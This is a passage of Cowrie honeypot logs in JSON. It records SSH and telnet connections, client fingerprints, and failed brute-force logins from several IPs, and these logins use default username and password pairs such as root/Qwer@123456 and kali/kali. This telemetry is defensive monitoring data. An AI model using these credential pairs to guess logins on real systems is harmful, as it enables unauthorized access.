0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:44.535608Z","src_ip":"5.196.136.131","session":"d8a9000d2dc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:44.795301Z","src_ip":"5.196.136.131","session":"d8a9000d2dc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:45.876491Z","src_ip":"5.196.136.131","session":"d8a9000d2dc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":36632,"dst_ip":"10.17.0.5","dst_port":23,"session":"23dd11a6f08b","protocol":"telnet","message":"New connection: 94.23.66.112:36632 (10.17.0.5:23) [session: 23dd11a6f08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:48.540236Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":25946,"dst_ip":"10.17.0.5","dst_port":22,"session":"55e7b16915dc","protocol":"ssh","message":"New connection: 5.196.136.131:25946 (10.17.0.5:22) [session: 55e7b16915dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:48.844109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:48.850732Z","src_ip":"5.196.136.131","session":"55e7b16915dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:48.925690Z","src_ip":"5.196.136.131","session":"55e7b16915dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.42.96.77","src_port":52772,"dst_ip":"10.17.0.5","dst_port":22,"session":"f385f9d9ebbb","protocol":"ssh","message":"New connection: 119.42.96.77:52772 (10.17.0.5:22) [session: f385f9d9ebbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:49.135103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:49.139407Z","src_ip":"119.42.96.77","session":"f385f9d9ebbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:49.153005Z","src_ip":"5.196.136.131","session":"55e7b16915dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:49.382593Z","src_ip":"119.42.96.77","session":"f385f9d9ebbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2022@","message":"login attempt [root/unitedstates2022@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:50.100275Z","src_ip":"119.42.96.77","session":"f385f9d9ebbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:50.229891Z","src_ip":"5.196.136.131","session":"55e7b16915dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:51.349600Z","src_ip":"119.42.96.77","session":"f385f9d9ebbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":42826,"dst_ip":"159.203.135.109","dst_port":22,"session":"86958074497e","protocol":"ssh","message":"New connection: 185.242.3.195:42826 (159.203.135.109:22) [session: 86958074497e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:51.736441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:51.847914Z","src_ip":"185.242.3.195","session":"86958074497e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:51.851002Z","src_ip":"185.242.3.195","session":"86958074497e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer@123456","message":"login attempt [root/Qwer@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:52.608210Z","src_ip":"185.242.3.195","session":"86958074497e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":13040,"dst_ip":"10.17.0.5","dst_port":22,"session":"b79bf6b1114d","protocol":"ssh","message":"New connection: 5.196.136.131:13040 (10.17.0.5:22) [session: b79bf6b1114d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:53.200612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:53.204003Z","src_ip":"5.196.136.131","session":"b79bf6b1114d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:53.279569Z","src_ip":"5.196.136.131","session":"b79bf6b1114d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:53.509034Z","src_ip":"5.196.136.131","session":"b79bf6b1114d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:53.717918Z","src_ip":"185.242.3.195","session":"86958074497e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:54.588519Z","src_ip":"5.196.136.131","session":"b79bf6b1114d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":40963,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a193d929555","protocol":"ssh","message":"New connection: 5.196.136.131:40963 (10.17.0.5:22) [session: 9a193d929555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:57.657517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:57.662164Z","src_ip":"5.196.136.131","session":"9a193d929555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:57.750936Z","src_ip":"5.196.136.131","session":"9a193d929555","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:58.016134Z","src_ip":"5.196.136.131","session":"9a193d929555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:59.105366Z","src_ip":"5.196.136.131","session":"9a193d929555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":55887,"dst_ip":"10.17.0.5","dst_port":22,"session":"431256259c15","protocol":"ssh","message":"New connection: 5.196.136.131:55887 (10.17.0.5:22) [session: 431256259c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:02.072426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:02.076864Z","src_ip":"5.196.136.131","session":"431256259c15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:02.154388Z","src_ip":"5.196.136.131","session":"431256259c15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:02.410092Z","src_ip":"5.196.136.131","session":"431256259c15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:03.493202Z","src_ip":"5.196.136.131","session":"431256259c15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38288,"dst_ip":"159.203.135.109","dst_port":23,"session":"9160c9f8d77d","protocol":"telnet","message":"New connection: 107.6.151.170:38288 (159.203.135.109:23) [session: 9160c9f8d77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:05.382933Z"}
{"eventid":"cowrie.session.closed","duration":0.003981113433837891,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:05.386809Z","src_ip":"107.6.151.170","session":"9160c9f8d77d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":62229,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0940335af3b","protocol":"ssh","message":"New connection: 5.196.136.131:62229 (10.17.0.5:22) [session: c0940335af3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:06.533554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:06.537723Z","src_ip":"5.196.136.131","session":"c0940335af3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:06.613423Z","src_ip":"5.196.136.131","session":"c0940335af3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:06.841110Z","src_ip":"5.196.136.131","session":"c0940335af3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:07.919918Z","src_ip":"5.196.136.131","session":"c0940335af3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":35035,"dst_ip":"10.17.0.5","dst_port":22,"session":"062bfe87abcb","protocol":"ssh","message":"New connection: 5.196.136.131:35035 (10.17.0.5:22) [session: 062bfe87abcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:10.944642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:10.948701Z","src_ip":"5.196.136.131","session":"062bfe87abcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:11.028536Z","src_ip":"5.196.136.131","session":"062bfe87abcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:36:11.263872Z","src_ip":"5.196.136.131","session":"062bfe87abcb","protocol":"ssh"}
